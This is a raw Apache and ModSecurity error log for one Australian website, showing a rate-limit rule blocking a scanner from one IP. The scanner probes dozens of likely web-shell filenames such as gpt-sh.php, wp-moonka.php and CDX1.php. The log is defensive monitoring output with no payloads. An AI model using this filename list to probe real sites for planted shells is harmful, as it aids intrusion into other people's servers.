[Sat Apr 18 20:19:01.241482 2026] [:error] [pid 9970:tid 9998] [client 52.236.80.95:6091] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "aeN2tSYdRLRhVmaIMx2zsgAAANg"]
[Sat Apr 18 20:19:01.935162 2026] [:error] [pid 9970:tid 9987] [client 52.236.80.95:6015] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeN2tSYdRLRhVmaIMx2ztQAAAM0"]
[Sat Apr 18 20:19:02.595178 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:5901] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeN2tv1e7hG8DAeABB8GEgAAAQo"]
[Sat Apr 18 20:19:03.116539 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:6121] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeN2t6zb5knECIY-C-iCMwAAAIE"]
[Sat Apr 18 20:19:03.682732 2026] [:error] [pid 9865:tid 9945] [client 52.236.80.95:5951] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeN2t6zb5knECIY-C-iCNAAAAIg"]
[Sat Apr 18 20:19:04.341800 2026] [:error] [pid 9865:tid 9953] [client 52.236.80.95:6037] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "aeN2uKzb5knECIY-C-iCNwAAAJA"]
[Sat Apr 18 20:19:04.983499 2026] [:error] [pid 9970:tid 9979] [client 52.236.80.95:6010] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "aeN2uCYdRLRhVmaIMx2zuQAAAMU"]
[Sat Apr 18 20:19:05.608061 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:5904] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "aeN2uf1e7hG8DAeABB8GFwAAARM"]
[Sat Apr 18 20:19:06.123929 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:6052] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "aeN2uqzb5knECIY-C-iCPAAAAIk"]
[Sat Apr 18 20:19:06.833336 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:6080] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeN2uhBmX4Wq5a6rxfaqbgAAAUM"]
[Sat Apr 18 20:19:07.508252 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5968] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeN2uxBmX4Wq5a6rxfaqcgAAAVM"]
[Sat Apr 18 20:19:08.046512 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6001] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeN2vBBmX4Wq5a6rxfaqdAAAAVQ"]
[Sat Apr 18 20:19:08.593222 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:5811] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeN2vBBmX4Wq5a6rxfaqdwAAAU4"]
[Sat Apr 18 20:19:09.331443 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:6028] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxfyf.php"] [unique_id "aeN2vRBmX4Wq5a6rxfaqewAAAVc"]
[Sat Apr 18 20:19:09.868497 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5927] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxfyf.php"] [unique_id "aeN2vf1e7hG8DAeABB8GHAAAAQw"]
[Sat Apr 18 20:19:10.448799 2026] [:error] [pid 9864:tid 9925] [client 52.236.80.95:5989] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxfyf.php"] [unique_id "aeN2voCFeowknfXHM7kbUgAAAFM"]
[Sat Apr 18 20:19:11.090098 2026] [:error] [pid 34288:tid 34308] [client 52.236.80.95:5715] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxfyf.php"] [unique_id "aeN2v-TIiy__PtiLmpnTDQAAAZA"]
[Sat Apr 18 20:19:11.645402 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:5990] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeN2v6zb5knECIY-C-iCPwAAAIo"]
[Sat Apr 18 20:19:12.309943 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:5993] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeN2wBqX6WpmmAXOBi8bwwAAAcs"]
[Sat Apr 18 20:19:12.941071 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:5982] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeN2wP1e7hG8DAeABB8GHgAAAQo"]
[Sat Apr 18 20:19:13.641757 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:6068] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeN2wYCFeowknfXHM7kbVAAAAEU"]
[Sat Apr 18 20:19:14.650337 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:5973] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gpt-sh.php"] [unique_id "aeN2wv1e7hG8DAeABB8GHwAAAQM"]
[Sat Apr 18 20:19:15.247551 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6070] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gpt-sh.php"] [unique_id "aeN2w4CFeowknfXHM7kbVwAAAFQ"]
[Sat Apr 18 20:19:15.890013 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:5890] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gpt-sh.php"] [unique_id "aeN2wxqX6WpmmAXOBi8bxgAAAdY"]
[Sat Apr 18 20:19:16.482054 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:6007] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gpt-sh.php"] [unique_id "aeN2xICFeowknfXHM7kbWgAAAEw"]
[Sat Apr 18 20:19:17.274674 2026] [:error] [pid 9865:tid 9944] [client 52.236.80.95:6016] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "aeN2xazb5knECIY-C-iCQgAAAIc"]
[Sat Apr 18 20:19:18.766761 2026] [:error] [pid 9863:tid 9897] [client 52.236.80.95:5830] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "aeN2xjjjiypiFrTucbLNNQAAABg"]
[Sat Apr 18 20:19:19.302991 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:6060] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "aeN2xxqX6WpmmAXOBi8byAAAAdI"]
[Sat Apr 18 20:19:19.981837 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:5653] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "aeN2x_1e7hG8DAeABB8GJgAAARI"]
[Sat Apr 18 20:19:20.706717 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6104] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "aeN2yBBmX4Wq5a6rxfaqgAAAAUE"]
[Sat Apr 18 20:19:21.295364 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6117] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "aeN2yRqX6WpmmAXOBi8bzAAAAdg"]
[Sat Apr 18 20:19:22.023142 2026] [:error] [pid 9863:tid 9881] [client 52.236.80.95:5816] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "aeN2yjjjiypiFrTucbLNOAAAAAg"]
[Sat Apr 18 20:19:22.919000 2026] [:error] [pid 13023:tid 13040] [client 52.236.80.95:5955] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "aeN2yv1e7hG8DAeABB8GKQAAAQ8"]
[Sat Apr 18 20:19:23.622734 2026] [:error] [pid 9863:tid 9874] [client 52.236.80.95:5912] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeN2yzjjiypiFrTucbLNOwAAAAE"]
[Sat Apr 18 20:19:24.215376 2026] [:error] [pid 13023:tid 13034] [client 52.236.80.95:5942] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeN2zP1e7hG8DAeABB8GLAAAAQk"]
[Sat Apr 18 20:19:24.885587 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:6039] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeN2zP1e7hG8DAeABB8GLgAAARM"]
[Sat Apr 18 20:19:25.561893 2026] [:error] [pid 9863:tid 9893] [client 52.236.80.95:5895] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeN2zTjjiypiFrTucbLNPQAAABQ"]
[Sat Apr 18 20:19:26.096498 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:5972] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeN2zhqX6WpmmAXOBi8bzwAAAcM"]
[Sat Apr 18 20:19:27.047842 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5992] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeN2z_1e7hG8DAeABB8GMwAAAQg"]
[Sat Apr 18 20:19:27.587641 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5664] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeN2z_1e7hG8DAeABB8GNgAAAQw"]
[Sat Apr 18 20:19:28.308784 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5938] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeN20P1e7hG8DAeABB8GOAAAAQc"]
[Sat Apr 18 20:19:28.881708 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:6093] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeN20CYdRLRhVmaIMx2zvAAAANQ"]
[Sat Apr 18 20:19:29.813551 2026] [:error] [pid 34288:tid 34311] [client 52.236.80.95:6019] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeN20eTIiy__PtiLmpnTGgAAAZM"]
[Sat Apr 18 20:19:37.202490 2026] [:error] [pid 9864:tid 9928] [client 52.236.80.95:5739] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeN22YCFeowknfXHM7kbaQAAAFY"]
[Sat Apr 18 20:19:42.924391 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:5898] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeN23hqX6WpmmAXOBi8b4QAAAdg"]
[Sat Apr 18 20:19:43.875825 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:5656] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeN23xBmX4Wq5a6rxfaqiQAAAUI"]
[Sat Apr 18 20:19:44.535395 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/fsgdjkl.php
[Sat Apr 18 20:19:44.963009 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sat Apr 18 20:19:45.228530 2026] [:error] [pid 13023:tid 13047] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/jlex.php
[Sat Apr 18 20:19:45.517041 2026] [:error] [pid 13023:tid 13029] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Sat Apr 18 20:19:45.806083 2026] [:error] [pid 13023:tid 13041] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/a6.php
[Sat Apr 18 20:19:46.094168 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Sat Apr 18 20:19:46.439823 2026] [:error] [pid 13023:tid 13030] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/a8.php
[Sat Apr 18 20:19:46.752973 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/a9.php
[Sat Apr 18 20:19:47.029719 2026] [:error] [pid 13023:tid 13034] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/hnphq.php
[Sat Apr 18 20:19:47.296327 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/luyuc.php
[Sat Apr 18 20:19:47.562212 2026] [:error] [pid 13023:tid 13049] [client 52.236.80.95:6065] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-moonka.php
[Sat Apr 18 20:19:47.824793 2026] [:error] [pid 13023:tid 13027] [client 52.236.80.95:6065] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "aeN24_1e7hG8DAeABB8GVQAAAQI"]
[Sat Apr 18 20:19:48.347944 2026] [:error] [pid 9865:tid 9958] [client 52.236.80.95:5976] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "aeN25Kzb5knECIY-C-iCRgAAAJU"]
[Sat Apr 18 20:19:49.080975 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:5700] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "aeN25RqX6WpmmAXOBi8b9QAAAcc"]
[Sat Apr 18 20:19:49.648409 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:6042] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "aeN25azb5knECIY-C-iCRwAAAIo"]
[Sat Apr 18 20:19:50.192060 2026] [:error] [pid 9865:tid 9948] [client 52.236.80.95:6128] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "aeN25qzb5knECIY-C-iCSAAAAIs"]
[Sat Apr 18 20:19:50.748727 2026] [:error] [pid 9863:tid 9880] [client 52.236.80.95:6044] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "aeN25jjjiypiFrTucbLNQwAAAAc"]
